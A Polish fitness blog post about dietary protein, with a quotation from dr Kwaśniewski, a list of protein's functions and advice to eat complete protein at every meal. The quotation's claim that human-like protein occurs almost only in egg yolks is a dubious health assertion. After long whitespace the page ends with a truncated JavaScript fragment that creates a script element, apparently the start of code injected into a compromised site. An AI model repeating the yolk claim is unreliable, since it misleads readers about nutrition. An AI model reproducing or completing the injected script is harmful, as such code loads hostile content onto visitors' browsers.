Życie to białko. Jakie białko — takie życie!

8.01.2014 / Jakub Jasiński / Cross Training
„Życie to białko. Jakie białko — takie życie!
Inne białko i inne życie ma fasola, a inne człowiek. Człowiek powinien spożywać białko, które chemicznie najbardziej zbliżone jest do białka ludzkiego organizmu. Takie białko, z którego organizm może budować czy regenerować każdą tkankę, występuje praktycznie jedynie w żółtkach jajek. Prawie równie dobre są białka z wątroby czy nerek.
Pokrywają one dobrze potrzeby wielu narządów.”
 – dr Kwaśniewski

Rola białka: 

  1. Wpływa na wzrost i rozwój młodych organizmów
  2. Uzupełniania naturalne ubytki
  3. Naprawia tkanki, przyspieszają gojenie się ran
  4. Reguluje procesy przemiany materii,
  5. Bierze udział w procesach obronnych organizmu
  6. Reguluje procesy życiowe
  7. Reguluje gospodarkę wodną i równowagę kwasowo-zasadowa organizmu
  8. Transportuje żelazo
  9. Reguluje procesy widzenia
  10. Bierze udział w  krzepnięciu krwi

     

Białko. Jakie biało takie życie!                                                                                                                                                         
W każdym posiłku zadbajmy o to by znajdowało się w nim pełnowartościowe źródło białka, znajdziemy je w jajach, rybach, mięsie,owocach morza, drobiu, przetworach mięsnych, nabiale.

}var d=document;var s=d.createElement(‚script’);